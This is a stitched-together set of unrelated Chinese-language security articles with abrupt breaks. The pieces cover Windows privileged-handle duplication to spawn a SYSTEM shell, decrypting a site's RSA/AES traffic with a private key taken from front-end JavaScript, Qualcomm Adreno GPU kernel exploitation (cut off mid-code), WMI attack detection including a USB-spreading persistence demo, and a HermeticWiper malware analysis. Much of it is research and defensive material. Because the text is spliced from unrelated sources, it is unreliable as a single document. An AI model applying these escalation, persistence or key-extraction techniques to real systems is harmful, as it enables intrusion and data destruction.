在每個while 循環中,我們執行Process32NextW 並用新進程填充processEntry 變量,直到它返回false 並且我們退出循環。現在,我們的句柄和它們指向的進程的PID 之間有一個1 對1 的映射。現在進入第二階段!

現在是獲取所有系統句柄並過濾掉不屬於我們進程的句柄的時候了,我們已經了解瞭如何檢索所有句柄,現在只需檢查每個SYSTEM_HANDLE 並將其ProcessId 成員與我們的進程的PID 進行比較,可通過恰當命名的GetCurrentProcessId 函數獲得。然後,我們以與處理句柄-PID 對類似的方式存儲屬於我們進程的那些SYSTEM_HANDLE 的Object 和Handle 成員的值,使用我們稱為mAddressHandle 的映射。

11.png

你可能想知道為什麼使用switch 語句而不是簡單的if。一些代碼已被刪除,因為這些是我們高級持久性Tortellini 專門為尋找我們在文章開頭提到的漏洞而編寫的工具的摘錄。

現在我們已經填充了兩個映射,當我們只知道它的_EPROCESS 地址時,獲取一個進程的PID 是一件輕而易舉的事。

12.png

我們首先將對象的地址保存在地址變量中,然後使用find 方法在mAddressHandle 映射中查找該地址,該方法將返回uint64_t,HANDLE 。這對包含地址和它對應的句柄。我們通過保存對成員的值來獲取句柄second並將其保存在foundHandle變量中。之後,只需要做我們剛才所做的事情,但是使用mHandleId映射和handlePid變量將保存進程的PID,其地址是我們開始的那個進程。

現在我們有了一種可靠的方法來匹配地址和PID,我們需要專門尋找那些完整性小於高進程持有有趣的句柄的情況,這些句柄與完整性等於或大於高的進程保持一致。但是從安全的角度來看,是什麼讓句柄“有趣”呢?我們將關注的句柄是具有以下訪問掩碼的句柄:

PROCESS_ALL_ACCESS

PROCESS_CREATE_PROCESS

PROCESS_CREATE_THREAD

PROCESS_DUP_HANDLE

PROCESS_VM_WRITE如果你在非特權進程中找到具有至少一個此訪問掩碼的特權進程的句柄,那非常幸運。讓我們看看我們如何做到這一點。

13.png

在這段代碼中,我們首先定義一個名為vSysHandle 的std:vector,它將保存有趣的SYSTEM_HANDLE。之後,我們開始對NtQuerySystemInformation 返回的數據進行常規迭代,只是這次我們跳過了當前進程持有的句柄。然後,我們通過我編寫的名為GetTargetIntegrityLevel 的幫助函數檢查持有我們當前正在分析的句柄的進程的完整性級別。這個函數基本上返回一個DWORD,告訴我們與它作為參數接收的PID 相關聯的令牌的完整性級別,並且改編自許多在線可用的PoC 和MSDN 函數。

一旦我們檢索到進程的完整性級別,我們要確保它小於高完整性,因為我們感興趣的是持有感興趣的句柄的中完整性或低完整性進程,我們還要確保我們正在處理的SYSTEM_HANDLE類型是進程(0x7)。檢查後,我們轉到檢查句柄授予的訪問權限。如果句柄不是PROCESS_ALL_ACCESS或不包含任何指定的標誌,則跳過它。否則,我們更進一步,檢索句柄所指進程的PID,並獲取其完整性級別。如果它是高完整性或更高的(例如SYSTEM),我們將SYSTEM_HANDLE保存在我們的vsyhandle中供以後使用。

首先,我們打開持有權限句柄的進程,然後復制該句柄。

14.png

這是相當簡單的,首先,你使用PROCESS_DUP_HANDLE訪問權限打開進程,這是複制句柄所需的最小權限,然後在該進程上調用DuplicateHandle,告訴函數你希望復制保存在syhandle中的句柄,並將其保存到clonedHandle變量中的當前進程中。

通過這種方式,我們的進程現在處於權限句柄的控制之下,我們可以使用它來生成一個新進程,把它的父進程偽裝成該句柄所指向的權限進程,從而使新進程繼承它的安全上下文,並獲得命令shell等。

15.png

讓我們看看它的實際應用:

16.png

即上次解密后,开发不死心,过了几个月,给返回包也进行了加密。并对前端js进行了压缩混淆

oohhlvxuc1q14508.png

 

 

 

根据观察,初步认为服务端也进行了相同的rsa+aes加密,然后把rsa加密后的keyiv以及aes加密的data字段一起发送回来。但是这样其实对于我们来说,反而是画蛇添足,让系统安全性下降了。因为这样会让前端去进行rsa+aes的解密,所以rsa私钥一定会存在前端

开始操作

1.老规矩搜索encryptIv字段,找到了疑似解密的部分,打上断点后提交登录请求

b1diax5ec4j14510.png

 

 

 

Burp抓包返回包,提取data字段

 

 vsihbnqrzwl14514.png

 

 

断点处提取rsa解密后的aeskeyiv

kplalbd325t14518.png

 

把从前端断点处的na作为keyiv放入鬼鬼js调试工具尝试解密,解密成功,说明思路没有问题,就是该处代码对服务器传来的encryptIvencryptKey进行解密为aes原本的密钥和偏移量

ea4s2uskjex14521.png

2.    根据解密代码,找到rsa私钥(p.d),显示不全,复制一段ctrl+f搜索到完整的rsa私钥

mkehkc3bi5i14523.png

 

 

使用jsencrypt.js脚本进行解密发现报错,原因是原版js调用了浏览器的windownavigator方法,这两个是获取浏览器窗口信息和鼠标位置信息之类的,用以生成随机数

uqcntv3ykev14525.png

 

a2zl23dn2oi14527.png

 

 

通过搜索,发现有人先做过更改原版JSEncrypt,去掉windownavigator方法使用,帖子地址:https://bbs.125.la/forum.php?mod=viewthread&tid=14113049

jho4b2adqn314529.png

使用鬼鬼js调试成功

cbyhtq4atd014534.png

 

 

3.    最后一步,完善编写自动化加解密脚本,老规矩,还是mitmweb+burp的组合,浏览器先代理到burp,然后burp二级代理到mitmweb执行python脚本,然后再发送给服务器,大致思路如

j2n5arsnoia14536.png

其实当时以为已经完成了90%了,剩下10%是编写自动化脚本,结果这10%反而花了几天时间,因为调用js解密不成功的原因。后面解决了,大体来说和aes算法以及jspython有关系。我们可以下期具体来讲讲这块大坑!今天就先跳过这部分。

最后再上次的脚本上面,加上了注销前端解密的代码,以及mitmweb帮助解密response的代码就行了。

4h12ll1pgfq14538.jpg

调试成功,burp已经舒舒服服,全程操作明文了。

qbk2qyqbm2314541.jpg

顺便,恩?发现有一个验证码返回前端的高危漏洞哈哈哈。但是我心善,既然这个加解密一时半会搞不出来的,现在都周五了,就下周一再来叫开发修复漏洞吧。具体的新增代码部分我们留到下次,和aes解密这个大坑的时候一起讲。

 

 

在編寫Android 漏洞利用程序時,突破應用程序沙箱通常是關鍵步驟。有各種各樣的遠程攻擊方法可以讓你以應用程序的權限執行代碼,但仍需要沙盒逃逸才能獲得完整的系統訪問權限。

這篇文章重點介紹可從Android 應用程序沙箱訪問系統底層的一個有趣的攻擊面:圖形處理單元(GPU) 硬件。下面描述了Qualcomm 的Adreno GPU 中的一個漏洞,以及如何使用它在Android 應用程序沙箱中實現內核代碼執行。

這項研究是建立在oldfresher的工作基礎上的,他在2019 年8 月報告了CVE-2019-10567。一年後,也就是2020 年8 月上旬,oldfresher發布了一份披露CVE-2019-10567的漏洞paper,以及一些允許遠程攻擊者破壞整個系統的其他漏洞。

但是在2020 年6 月,我發現CVE-2019-10567 的補丁不完整,並與高通的安全團隊和GPU 工程師合作,從根本上修復了這個問題。此新問題的補丁CVE-2020-11179 已發布給OEM 供應商進行集成。

0x01 Android 攻擊面Android 應用程序沙箱是SELinux、seccomp BPF 過濾器和基於每個應用程序唯一UID 的自主訪問控制的不斷發展的組合。沙箱用於限制應用程序可以訪問的資源,並減少攻擊面。攻擊者能夠使用許多途徑來實現沙箱逃逸,例如:攻擊其他應用程序、攻擊系統服務或攻擊Linux 內核。

在高層次上,Android 生態系統中有幾個不同的攻擊面層。以下是一些重要攻擊面的梳理:

層級:Linux生態

描述:影響Android 生態系統中所有設備的問題。

示例:Linux 內核漏洞,如Dirty COW,或標準系統服務中的漏洞。

層級:芯片組

描述:影響Android 生態系統大部分的問題,具體取決於各種OEM 供應商使用的硬件類型。

示例:Snapdragon SoC 性能計數器漏洞,或Broadcom WiFi 固件堆棧溢出漏洞。

層級:供應商

說明:影響特定Android OEM 供應商的大多數或所有設備的問題

示例:三星內核驅動程序漏洞

層級:設備

說明:影響Android OEM 供應商的特定設備型號的問題

示例:Pixel 4 人臉解鎖“attention aware”漏洞

從攻擊者的角度來看, Android 漏洞利用能力是一個以盡可能最具成本效益的方式覆蓋盡可能廣泛的Android 生態系統的問題。 Linux生態層的漏洞會影響許多設備,但與其他層相比,發現漏洞可能成本高昂且利用效果相對短暫。芯片組層通常會存在相當多的漏洞利用的覆蓋範圍,但不如生態層漏洞影響大。對於某些攻擊面,例如基帶和WiFi 攻擊,芯片組層是主要選擇。供應商和設備層更容易找到漏洞,但需要維護大量單獨的漏洞利用。

對於沙盒逃逸,GPU 從芯片組層提供了一個特別有趣的攻擊面。由於GPU 加速在應用程序中被廣泛使用,Android 沙盒允許完全訪問底層GPU 設備。此外,只有兩種GPU 硬件在Android 設備中特別流行:ARM Mali 和Qualcomm Adreno。

這意味著,如果攻擊者能夠在這兩個GPU 實現中找到一個可很好利用的漏洞,那麼他們就可以有效地保持針對大多數Android 生態系統的沙盒逃逸漏洞利用能力。此外,由於GPU 非常複雜,有大量閉源組件、固件、微代碼,因此很有可能會找到一個危害極高且長期存在的漏洞。

考慮到這一點,在2020 年4 月下旬,我注意到Qualcomm Adreno 內核驅動程序代碼中有以下提交:

From0ceb2be799b30d2aea41c09f3acb0a8945dd8711MonSep1700:00:002001From:JordanCrouseDate:Wed,11Sep201908:32:15-0600Subject:[PATCH]msm:kgsl33 360Makethe'scratch'globalbufferusearandomGPUaddressSelectarandomglobalGPUaddressforthe'scratch'bufferthatisusedbytheringbufferforvarioustasks.當我們想到向地址添加熵時,通常會想到地址空間佈局隨機化(ASLR)。但這裡我們談論的是GPU 虛擬地址,而不是內核虛擬地址,為什麼需要隨機分配GPU 地址?

此提交是CVE-2019-10567 的安全補丁之一,這些補丁在高通的諮詢中有相關鏈接。此CVE 還包含一個相關補丁:

From8051429d4eca902df863a7ebb3c04cbec06b84b3MonSep1700:00:002001From:JordanCrouseDate:Mon,9Sep201910:41:36-0600Subject:[PATCH]msm:kgsl:Execut euserprofilingcommandsinanIBExecuteuserprofilinginanindirectbuffer.Thisensuresthataddressesandvaluesspecifieddirectlyfromtheuserdon'tendupintheringbuffer.所以問題就變成了,為什麼用戶內容不會最終出現在ringbuffer 上,這個補丁真的可以防止這種情況發生嗎?如果我們恢復臨時映射的基地址會發生什麼?至少從表面上看,兩者都是可行的,這個研究項目有了一個良好的開端。

在我們進一步討論之前,讓我們退一步描述一下這裡涉及的一些基本組件:GPU, ringbuffer, scratch mapping等。

0x02 Adreno GPU 簡介GPU 是現代圖形計算的主要組件,大多數應用程序都廣泛使用GPU。從應用程序的角度來看,GPU 硬件的具體實現通常由OpenGL ES 和Vulkan 等庫抽像出來。這些庫實現了一個標準API,用於對常見的GPU 加速操作進行編程,例如texture mapping 和running shaders。然而,在底層,此功能是通過與內核空間中運行的GPU 設備驅動程序交互來實現的。

image-20220324233623933.png image-20220324233623933

特別是對於Qualcomm Adreno,/dev/kgsl-3d0設備文件最終用於實現更高級別的GPU 功能。可在不受信任的應用程序沙箱中直接訪問/dev/kgsl-3d0文件,因為:

1.設備文件在其文件權限中設置了全局讀/寫訪問權限。權限由ueventd設置:

sargo:/#cat/system/vendor/ueventd.rc|grepkgsl-3d0/dev/kgsl-3d00666systemsystem2.設備文件的SELinux 標籤設置為gpu_device,並且untrusted_app SELinux 上下文對此標籤有特定的允許規則:

sargo:/#ls-Zal/dev/kgsl-3d0crw-rw-rw-1systemsystemu:object_r:gpu_device:s0239,02020-07-2115:48/dev/kgsl-3d0hawkes@glaptop:~$adbpull/sys/fs/selinux/policy/sys/fs/selinux/policy33 3601filepulled,0skipped.16.1MB/s.hawkes@glaptop:~$sesearch-A-suntrusted_apppolicy|grepgpu_deviceallowuntrusted_appgpu_device:chr_file{appendgetattrioctllockmapopenreadwrite};這意味著應用程序可以打開設備文件。 Adreno“KGSL”內核設備驅動程序主要通過許多不同的ioctl 調用(例如分配共享內存、創建GPU 上下文、提交GPU 命令等)和mmap(例如將共享內存映射到用戶空間)來調用應用。

0x03 GPU 共享映射在大多數情況下,應用程序使用共享映射將vertices, fragments 和shaders加載到GPU 中並接收計算結果。這意味著某些物理內存頁面會在用戶應用程序和GPU 硬件之間共享。

要設置新的共享映射,應用程序將通過調用IOCTL_KGSL_GPUMEM_ALLOC ioctl 向KGSL 內核驅動程序請求分配。內核驅動程序將準備一個物理內存區域,然後將該內存映射到GPU 的地址空間。最後,應用程序將使用分配ioctl 返回的標識符將共享內存映射到用戶空間地址空間。

此時,物理內存的同一頁上有兩個不同的視圖。第一個視圖來自用戶態應用程序,它使用虛擬地址來訪問映射到其地址空間的內存。 CPU 的內存管理單元(MMU) 將執行地址轉換以找到適當的物理頁面。

另一個是從GPU 硬件本身來看,它使用GPU 虛擬地址。 GPU 虛擬地址由KGSL 內核驅動程序選擇,它使用僅用於GPU 的頁表結構配置設備的IOMMU(在ARM 上稱為SMMU)。當GPU 嘗試讀取或寫入共享內存映射時,IOMMU 會將GPU 虛擬地址轉換為內存中的物理頁面。這類似於在CPU 上執行的地址轉換,但地址空間完全不同,即應用程序中使用的指針值將不同於GPU 中使用的指針值。

image-20220324234002661 image-20220324234002661.png

每個用戶態進程都有自己的GPU 上下文,這意味著當某個應用程序在GPU 上運行操作時,GPU 將只能訪問它與該進程共享的映射。這是必需的,這樣一個應用程序就不能要求GPU 從另一個應用程序讀取共享映射。在實踐中,這種分離是通過在GPU 上下文切換發生時更改將哪一組頁表加載到IOMMU 來實現的。每當安排GPU 運行來自不同進程的命令時,就會發生GPU 上下文切換。

然而,某些映射被所有GPU 上下文使用,因此可以出現在每組頁表中。它們被稱為全局共享映射,用於GPU 和KGSL 內核驅動程序之間的各種系統和調試功能。雖然它們從未直接映射到用戶級應用程序,例如惡意應用程序無法直接讀取或修改全局映射的內容,但它們會同時映射到GPU 和內核地址空間。

在被root的Android 設備上,我們可以使用以下命令dump全局映射及其GPU 虛擬地址:

sargo:/#cat/sys/kernel/debug/kgsl/globals0x00000000fc000000-0x00000000fc000fff4096setstate0x00000000fc001000-0x00000000fc040fff262144gpu-qdss0x00000000fc041000-0x00000000fc048fff32768memstore0x00000000fce7a000-0x00000000fce7aff f4096scratch0x00000000fc049000-0x00000000fc049fff4096pagetable_desc0x00000000fc04a000-0x00000000fc04afff4096profile_desc0x00000000fc04b000-0x00000000fc052fff32768ringbuffer0x00000000fc053000-0x00000000fc053fff4096pagetable_desc0x00 000000fc054000-0x00000000fc054fff4096profile_desc0x00000000fc055000-0x00000000fc05cfff32768ringbuffer0x00000000fc05d000-0x00000000fc05dfff4096pagetable_desc0x00000000fc05e000-0x00000000fc05efff4096profile_desc0x00000000fc05f000-0x0 0000000fc066fff32768ringbuffer0x00000000fc067000-0x00000000fc067fff4096pagetable_desc0x00000000fc068000-0x00000000fc068fff4096profile_desc0x00000000fc069000-0x00000000fc070fff32768ringbuffer0x00000000fc071000-0x00000000fc0a0fff1966 08profile0x00000000fc0a1000-0x00000000fc0a8fff32768ucode0x00000000fc0a9000-0x00000000fc0abfff12288capturescript0x00000000fc0ac000-0x00000000fc116fff438272capturescript_regs0x00000000fc117000-0x00000000fc117fff4096powerup_register_l ist0x00000000fc118000-0x00000000fc118fff4096alwayson0x00000000fc119000-0x00000000fc119fff4096preemption_counters0x00000000fc11a000-0x00000000fc329fff2162688preemption_desc0x00000000fc32a000-0x00000000fc32afff4096perfcounter_save_re store_desc0x00000000fc32b000-0x00000000fc53afff2162688preemption_desc0x00000000fc53b000-0x00000000fc53bfff4096perfcounter_save_restore_desc0x00000000fc53c000-0x00000000fc74bfff2162688preemption_desc0x00000000fc74c000-0x00000000fc74 cfff4096perfcounter_save_restore_desc0x00000000fc74d000-0x00000000fc95cfff2162688preemption_desc0x00000000fc95d000-0x00000000fc95dfff4096perfcounter_save_restore_desc0x00000000fc95e000-0x00000000fc95efff4096smmu_info從左到右,我們看到每個全局映射的GPU 虛擬地址,然後是大小,然後是分配的名稱。通過多次重啟設備並檢查佈局,可以看到暫存緩衝區確實是隨機的:

0x00000000fc0df000-0x00000000fc0dffff4096scratch.0x00000000fcfc0000-0x00000000fcfc0fff4096scratch.0x00000000fc9ff000-0x00000000fc9fffff4096scratch.0x00000000fcb4d000-0x00000000fcb4dfff4096scratch同樣的測試表明,暫存緩衝區是唯一隨機化的全局映射,所有其他全局映射在[0xFC000000,0xFD400000]範圍內都有一個固定的GPU 地址。這是有道理的,因為CVE-2019-10567 的補丁只為暫存緩衝區分配引入了KGSL_MEMDESC_RANDOM 標誌。

所以我們現在知道暫存緩衝區至少在某種程度上是正確隨機的,並且它是存在於每個GPU 上下文中的全局共享映射,但是暫存緩衝區到底是做什麼用的呢?

0x04 Scratch 緩衝區深入驅動程序代碼,我們可以清楚地看到在驅動程序的探測例程中分配了暫存緩衝區,這意味著暫存緩衝區將在設備首次初始化時分配:

intadreno_ringbuffer_probe(structadreno_device*adreno_dev,boolnopreempt){.status=kgsl_allocate_global(device,device-scratch,PAGE_SIZE,0,KGSL_MEMDESC_RANDOM,'scratch');我們還發現了下面的註釋:

/*SCRATCHMEMORY:Thescratchmemoryisonepageworthofdatathat*ismappedintotheGPU.Thisallowsforsome'shared'databetween*theGPUandCPU.Forexample,itwillbeusedbytheGPUtowrite*eachupdatedRPTRforeachRB.通過在內核驅動程序中交叉引用生成的內存描述符(device-scratch )的所有用法,我們可以找到暫存緩衝區的兩個主要用法:

1.搶占恢復緩衝區的GPU 地址被dump到暫存內存中,如果較高優先級的GPU 命令中斷較低優先級的命令,則會使用該暫存內存。

2.環形緩衝區(RB) 的讀指針(RPTR) 從臨時內存中讀取,並在計算環形緩衝區中的可用空間量時使用。

可以開始串聯思路。首先,我們知道CVE-2019-10567 的補丁包括對暫存緩衝區和環形緩衝區處理代碼的更改——這表明我們應該關注上面的第二個用例。

如果GPU 正在將RPTR 值寫入共享映射(如註釋所示),並且如果內核驅動程序正在從暫存緩衝區讀取RPTR 值並將其用於分配大小計算,那麼如果我們可以讓GPU 寫入一個RPTR 值無效或不正確。

0x05 環形緩衝區要了解無效RPTR 值對環緩衝區分配可能意味著什麼,我們首先需要描述環緩衝區本身。當用戶態應用程序提交GPU 命令( IOCTL_KGSL_GPU_COMMAND ) 時,驅動程序代碼通過使用生產者-消費者模式的環形緩衝區將命令分派給GPU。內核驅動程序會將命令寫入環形緩衝區,GPU 將從環形緩衝區讀取命令。

這以與經典循環緩衝區類似的方式發生。在底層,ringbuffer 是一個固定大小為32768 字節的全局共享映射。維護兩個索引來跟踪CPU 寫入的位置(WPTR) 和GPU 讀取的位置(RPTR)。為了在ringbuffer 上分配空間,CPU 必須計算當前WPTR 和當前RPTR 之間是否有足夠的空間。這發生在adreno_ringbuffer_allocspace 中:

unsignedint*adreno_ringbuffer_allocspace(structadreno_ringbuffer*rb,unsignedintdwords){structadreno_device*adreno_dev=ADRENO_RB_DEVICE(rb);unsignedintrptr=adreno_get_rptr(rb);[1]unsignedintret;if(rptr_wptr){[2]unsign edint*cmds;if(rb-_wptr+dwords_wptr;rb-_wptr=(rb-_wptr+dwords)%KGSL_RB_DWORDS;returnRB_HOSTPTR(rb,ret);}/**Thereisn'tenoughspacetowardtheendofringbuffer.So*lookforspacefromthebeginningofringbufferuptothe*readpointer.*/

WMI (Windows Management Instrumentation)是微軟對基於web的企業管理(WBEM)和來自分佈式管理任務組(DMTF)的公共信息模型(CIM)標準的實現。這允許管理員以統一的方式管理一組系統,允許他們獲取關於系統的信息、系統當前狀態並執行操作。正因為如此,許多攻擊者利用它進行枚舉、橫向移動和持久性攻擊。防御者和安全供應商也充分利用了它,事實上,如果沒有它,大多數漏洞掃描程序將無法完成他們在windows主機上所做的很多事情。

研究人員起初編寫了PSGumshoe PowerShell模塊,以幫助執行威脅搜索和事件響應工作。

執行方法在多年前的一個項目中,我了解到可以通過啟用Other Object Access審核設置然後在每個WMI 命名空間上跟踪類方法的WMI 執行甚至查詢。一個熟練的Windows管理員能夠跟踪我的查詢和方法執行,並通過使用一些經過優化的攝取過濾器來包含我的操作,這些過濾器會對任何不符合他的環境中的系統正常行為的操作發出警報。

配置GPO時,請在“計算機配置- Windows設置-安全設置-高級審核策略配置-審核策略-對象訪問”下進行設置

1.jpg

審核設置通過GPO 設置和推送審核設置後,需要登錄腳本或手動過程來設置適當的審核設置以跟踪給定命名空間上的操作。需要手動執行此操作:

打開WMI控制MMC或計算機管理MMC,並打開WMI控制的屬性。

選擇Security選項卡,選擇要應用adit設置的名稱空間,然後單擊Security。

2.jpg

在下一個窗口中,點擊Advanced。

3.jpg

在命名空間的高級安全設置中,我們執行以下操作:

1.點擊Auditing選項卡;

2.點擊Add;

4.jpg

在“Audit Entry ”窗口中,執行以下操作:

1.選擇Principal將應用於的對象,我的建議是Everyone或Authenticated Users;

2.在Type中選擇ALL,因為我們想要成功和失敗事件。

3.在高級權限中,我建議從Execute Method開始,以檢測類方法的後期移動和Full Write的情況下,惡意WMI提供程序創建了一個類或永久事件組件創建在根/訂閱名稱空間之外。也有助於檢測作為C2頻道http://2014.hackitoergosum.org/slides/day1_WMI_Shell_Andrei_Dumitrescu.pdf的WMI

顯示的設置不包括查詢,沒有在將事件發送到SIEM 之前驗證和過濾事件的過程和能力,這在生產環境中會太嘈雜。

5.jpg

一旦應用了設置,任何嘗試如下所示,其中本地Win32_Process 類Create() 方法用於使用WMI 創建進程以中斷父子關係將被記錄。

6.png

當我們檢查Security 中的日誌時,我們將看到ID 為4662 的事件,其中ObjectServer 將是WMI。該事件將包括事件發生在什麼命名空間中以及在什麼用戶環境中。在AdditinalInformation 字段下,我們將查看它是本地的還是遠程的以及被調用的方法。

7.jpg

本地方法執行當從遠程系統對主機執行方法時,如下例所示,日誌將顯示該方法是遠程執行的。

8.png

我們將在AdditionalInfo 下看到方法執行是Remote Execute。

9.jpg

遠程方法執行在PSGumshoe 中,可以使用Get-EventWmiObjectAccess 函數來幫助查找這種類型的IOC。

10.png

從幫助信息中可以看到,該函數允許通過某些字段過濾事件,並且可以傳遞一個或多個EVTX文件,因此我們可以遠程或本地執行該函數。

在下面的例子中,我們正在查看一個從系統中提取的EVTX文件,並且我們正在過濾方法的本地執行。

11.png

通過管道傳遞多個EVTX 文件的示例。

12.png

WMI 操作錯誤事件在Microsoft-WMI-Arctivity/Operational 日誌中,Windows 默認記錄所有與WMI 相關的操作錯誤,事件ID 為58585。在Windows 的日常操作中,也取決於操作系統上安裝的軟件,錯誤的數量很高。如果SIEM 解決方案允許在轉發日誌之前進行過濾,這將有助於提高所發送事件的信噪比。在下圖中,我們可以看到在我的實驗室VM 中,錯誤數量很高。

13.jpg

PSGumshoe 提供Get-EventWmiOperationalError 函數來搜索和過濾生成的錯誤日誌。攻擊者可能會犯錯誤或根本無權執行生成要記錄的錯誤的操作。該事件將包括計算機和進程的PID,該進程不僅在本地生成事件,而且還為遠程操作生成事件。

就像其他WMI 函數一樣,該函數可以在另一台計算機上遠程運行,在本地運行,也可以對一個或多個EVTX 文件運行。

14.png

我們可以通過ClientMachine 分組查詢遠程主機並查看是否有來自其他主機的事件。在這個例子中,我們可以看到SDCL1 有2 個操作錯誤。

15.png

我們可以查詢主機,以便僅匹配可疑ClientMachine 的事件。

16.png

我們可以根據Resultcode進行分組,結果代碼是錯誤號,我們可以使用Microsoft文檔中的錯誤常量引用來識別任何感興趣的內容。

17.png

WMI提供程序加載用於持久性的WMI 提供程序是一種古老但未廣泛使用的技術,攻擊者在系統上安裝WMI 提供程序,當與它提供的一個或多個類交互時,它會加載它,提供編碼到其中的任何功能,作為SYSTEM 執行。 Casey Smith 創建並刪除了公開共享該技術的第一個公共POC,隨後Jared Atkinson 也公開了一個POC。

加載提供程序並在Microsoft-Windows-WMI-Activity/Operational 中創建事件ID 5857。重要的字段是ProvierPath 和TimeCreated,因為這可以關聯以構建可能訪問的類的時間線,因為僅當wmiiprvse.exe 需要類執行請求的操作時才會加載提供程序。

18.jpg

PsGumshoe提供了Get-EventWmiProviderStart函數來查詢這個事件。

18.1.png

18.2.png

這是一個查看每個提供程序已加載多少次的示例,這可能有助於識別正在使用的可疑提供程序。

19.png

WMI永久事件WMI永久事件從Windows 2000/XP時代開始就被濫用,永久事件由3 個部分組成:

Filter——WQL 查詢我們想要的事件;

Consumer——觸發過濾器時採取的行動;

Binding——向Consumer註冊過濾器。

每個組件都是一個類的實例,該類創建並存儲在CIM數據庫(objects.data)的根或根/訂閱名稱空間下。當Consumer被執行時,該操作在wmiprvse.exe的環境中以SYSTEM的形式運行。因為我們必須單獨構建每個部分並將其保存在CIM數據庫中,所以它們確實要花費更多的精力,但大多數攻擊者只是簡單地將這個過程自動化。它的局限性在於只有一小部分Consumer行為可用。

ActiveScriptEventConsumer——當一個事件被傳遞給它時,用任意的腳本語言執行一個預定義的腳本。該用戶可在Windows 2000及更高版本上使用。

CommandLineEventConsumer——當一個事件被傳遞給它時,在本地系統環境中啟動任意進程。該用戶可在Windows XP及更高版本上使用。

當事件發送到文本日誌文件時,將自定義字符串寫入到文本日誌文件中。該用戶可在Windows XP及以上版本上使用。

NTEventLogEventConsumer——當事件被發送到Windows NT事件日誌時,將特定的消息記錄到該事件日誌中。該用戶可在Windows XP及以上版本上使用。

SMTPEventConsumer——每次將事件發送給它時,使用SMTP發送一條電子郵件消息。該用戶可在Windows 2000及以上版本上使用。

對於Event Filter對象,將創建一個查詢來監視WMI CIM數據庫中的內部或外部事件,這些事件可以是任何類實例的創建、修改或刪除,或者訂閱將為某些操作生成事件的提供程序。

當__EventFilter 和任何Consumer類型類對像用於在WMI CIM 數據庫中創建Binder 實例以創建永久事件時,Microsoft-Windows-WMI-Activity/Operational 中ID 為5861 的事件日誌條目由以下人員創建默認情況下無需啟用任何審核。如果任何組件類實例被修改,該事件也會在修改中創建。即使在可能原因子元素下的UserData 元素中,該事件也將包含與永久物相關的所有信息。

如果我們使用Sysmon並將其配置為捕獲WMI事件,則將捕獲正在創建的每個組件。 Sysmon提供了將更改定位到已經綁定在一起的過濾器或使用者的優勢,以便融合到環境中。我們已經看到APT28在修改目標環境中已經存在的使用者和過濾器。 Bellow是一個將捕獲所有事件的配置。

20.png

在下面的示例中,我們將使用PowerShell創建每個組件,永久事件將檢測USB設備何時被插入,並將可執行文件複製到設備上,並在設備上設置autorun.ini。

我們將首先創建一個Event Filter實例,該實例將在可移動卷添加到主機時觸發。

21.png

我們可以看到該操作記錄在Sysmon 日誌下,事件ID 為19,它包含過濾事件的所有部分,並且該操作已創建。

22.jpg

PSGumshoe有get - sysmonwmfilter,它允許查詢這個事件,並將結果作為一個對象返回給我們。

23.png

如前所述,攻擊者可以修改現有的事件過濾器並替換查詢。 Sysmon能夠跟踪這一變化。讓我們更改查詢,使其中沒有換行符。

24.1.png

24.2.png

正如我們所看到的,Sysmon使用相同的ID記錄了更改,但操作聲明它已被修改。

25.jpg

PSGumshoe中的函數允許按字段過濾,因此我們只能查詢修改過的事件。我們看到Sysmon創建了2個事件,一個是更改之前的實例,另一個是實例現在的樣子。

26.png

現在我們將創建一個Consumer實例,這個Consumer類型為Action Script,它將執行一個VBScript腳本,該腳本將Base64解碼二進製文件並將其存儲在可移動驅動器上,它還將創建一個autorun.ini並修改它,使其隱藏在驅動器上。

27.1.png

27.2.png

該操作將被Sysmon記錄為事件ID 20,並包含來自actionscriptConsumer的整個腳本。

28.jpg

我們可以使用Get-SysmonWmiConsumer函數來查詢事件。 Sysmon只記錄Action Script和CommandLine事件Consumer,其他Consumer不被記錄,因為他們不被認為是一個安全風險。

29.png

為了將過濾器與Consumer綁定,我們需要創建一個Binder實例,該實例同時引用這兩個過濾器。它可以在Root命名空間或Root/Subscription中創建。讓我們首先在Root/Subscription名稱空間中創建一個實例,它是此類實例的默認實例。

30.png

Windows將記錄所有綁定事件,每個部分的完整信息作為事件ID 5861下的事件的一部分。

31.jpg

我們可以使用Get-EventWmiPermanentEvent函數來查詢這個事件。

32 (2).png

這是本系列文章中的下篇,我們將繼續與讀者一道,深入分析數據擦除型的惡意軟件HermeticWiper。

(接上文)

禁用影子副本刪除影子副本是勒索軟件的一個常見行為。它應該是為了破壞系統備份,並使恢復工作陷入癱瘓。就本例來說,我們可以看到該樣本禁用了影子副本服務。

1.png

影子副本被禁用

數據碎片化在我們的分析過程中,我們注意到惡意軟件會將磁盤上的文件碎片化(與碎片整理相反)。

在運行碎片化例程之前,它會更改與資源管理器相關的一些設置:

1.png

更改註冊表,使發現NTFS操作更加困難

這可能是為了隱藏關於文件狀態的信息,使得它們更加難以被發現:

下面的函數顯示了碎片化例程的執行過程:

1.png

用於實現數據碎片化的包裝器函數

其中,標準windows目錄被排除在外:

1.png

將被跳過的文件夾列表

這樣做既可以節省時間(不破壞標准文件),又可以避免影響系統穩定性。

文件碎片化過程如下所示:

1.png

碎片詳細信息(1)

1.png

碎片詳細信息(2)

數據碎片化算法的實現,是通過將不同的IOCTL_CODES(FSCTL)用作FSCTL_GET_RETRIEVAL_POINTERS和FSCTL_GET_MOVE_FILES來實現的。該代碼看起來與碎片整理代碼非常相似。但就這裡來說,修改的目的是為了實現碎片化,即將文件塊分割為碎片,並將其移動到磁盤中的空閒簇中。

數據收集在這些準備工作完成之後,該惡意軟件就會進入執行的第二個階段:數據收集。在各種勒索軟件案例中,我們經常會看到這種情況:在加密之前,惡意軟件會遍歷目錄,並列出要攻擊的文件清單。該惡意軟件的情況與此類似,但更有趣的是,因為該軟件在進行目錄遍歷的時候,使用的不是windows API,而是NTFS文件系統,來讀取各種結構體並手動解析它們。為此,該惡意軟件需要通過標準的Windows設備來發送IOCTL(新安裝的驅動程序尚未使用)。

數據存儲上述解析過程的結果被存儲在我們設法重建的自定義結構體中,其定義如下所示:

structelemStr

{

elemStr*fLink;

elemStr*bLink;

chunkStr*chunkPtr;

DWORDdiskNumber;

BYTE*randomBufToWrite;

DWORDsizeBuffer;

};

structchunkStr

{

chunkStr*fLink;

chunkStr*bLink;

LARGE_INTEGERoffset;

QWORDchunk_size;

};就像您看到的那樣,它們都是鍊錶。

第一個elemStr定義了將被覆蓋的元素。之後,代碼會檢索其大小,並生成專用於覆蓋它的隨機緩衝區:

1.png

生成的隨機數據

在這裡,“chunk”表示要覆蓋的物理地址的連續塊。

